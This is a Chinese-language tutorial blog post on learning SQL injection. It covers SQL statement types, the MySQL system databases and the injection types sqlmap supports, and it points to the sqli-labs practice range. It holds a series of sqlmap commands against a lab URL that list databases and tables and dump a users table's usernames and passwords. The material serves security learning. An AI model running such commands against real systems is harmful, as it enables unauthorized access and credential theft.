学习SQL注入系列篇(1)

文章目录

SQL注入原理和流程
- SQL类型
- 获取数据库信息
- SQL注入工具
- 1. SQLmap常用命令使用

SQL注入原理和流程

SQL类型

DQL：数据查询语言(select)
DML：数据操作语言(insert, update, delete)
DDL：数据定义语言(create, drop, alter)
DCL：数据控制语言(grant, revoke, commit, rollback)
函数：字符串函数、数字函数、日期函数
运算符：算术运算符、比较运算符、逻辑运算符、位运算符

获取数据库信息

show命令
select + 函数
系统库

系统库

系统库	描述
`information_schema`	MySQL服务器所有数据库的信息
`mysql`	基存储数据库的用户、权限设置、关键字等
`performance_schema`	主要用于收集数据库服务器性能参数
`sys`	数据来自`performance_schema`

SQL注入工具

sqlmap

类型	描述
`boolean-based blind`	基于Boolean的盲注
`time-based blind`	基于时间的盲注
`error-based`	基于报错
`UNION query-based`	基于联合查询
`stacked queries`	基于多条SQL语句(堆叠注入)
`out-of-band(OOB)`	非应用内通信注入,比如DNSLog

1. SQLmap常用命令使用

sqlmap -u  http://192.168.2.200/url.php?id=1
sqlmap -u  "http://192.168.2.200/url.php?id=1" --current-db
sqlmap -u  "http://192.168.2.200/url.php?id=1" --level=5 --risk=3 --dbs
sqlmap -u  "http://192.168.2.200/url.php?id=1" --level=5 --risk=3 --dbms=mysql  -D "security"  --tables
sqlmap -u  "http://192.168.2.200/url.php?id=1" --level=5 --risk=3 --dbms=mysql  -D "security" -T "users"  --col
sqlmap -u  "http://192.168.2.200/url.php?id=1" --level=5 --risk=3 --dbms=mysql  -D "security" -T "users" -C "password,username" --dump

靶场: sqli-labs
支持php7的代码链接地址: sqli_labs_sqli-version

学习SQL注入系列篇(1)相关推荐

渗透学习-SQL注入篇-基础知识的学习（持续更新中）
提示:仅供进行学习使用,请勿做出非法的行为.如若由任何违法行为,将依据法律法规进行严惩!!! 文章目录前言一.SQL注入产生的原因二.手工注入大致过程 1.判断注入点: 2.猜解列名 3.猜解能 ...
学习sql注入:猜测数据库_对于SQL的热爱：为什么要学习它以及它将如何帮助您...
学习sql注入:猜测数据库 I recently read a great article by the esteemed @craigkerstiens describing why he feel ...
学习sql注入:猜测数据库_学习SQL：删除和更新数据SQL最佳实践
学习sql注入:猜测数据库 Deleting and updating data is very common, but if performed without taking care, which ...
学习sql注入:猜测数据库_学习SQL：SQL数据类型
学习sql注入:猜测数据库 What are SQL data types, why do we need them, and how to use them? Today, we'll try to ...
SQL注入回顾篇(四)
前言忆往昔,峥嵘岁月稠!大学已经到了大三了,打了很多比赛,回顾还是挺欣慰!此系列来由是想留一点东西,把所学知识整理一下,同时也是受github上Micro8分享的启发,故想做一些工作,以留后人参考, ...
web安全学习-sql注入-针对mysql的攻击
文章目录 1. 前言补充:读取客户端本地文件到服务端mysql数据库补充:利用全局日志写shell 补充:修改mysql的root密码补充:配置远程登录补充:低权限下读文件补充:高版本mys ...
SQL注入回顾篇(一)
前言忆往昔,峥嵘岁月稠!大学已经到了大三了,打了很多比赛,回顾还是挺欣慰!此系列来由是想留一点东西,把所学知识整理一下,同时也是受github上Micro8分享的启发,故想做一些工作,以留后人参考, ...
学习sql注入:猜测数据库_面向数据科学家SQL：学习简单方法
学习sql注入:猜测数据库 We don't pick a hammer and look for nails - that would be an unusual way of solving pr ...
关于DVWA的学习-SQL注入
关于DVWA的学习-SQL注入 low Background 一般的查询语句的结构如下: SELECT column_name FROM table_name WHERE ID=$id 我们输入的内容 ...

学习SQL注入系列篇(1)

文章目录

SQL注入原理和流程

SQL类型

获取数据库信息

SQL注入工具

1. SQLmap常用命令使用

学习SQL注入系列篇(1)相关推荐

最新文章

热门文章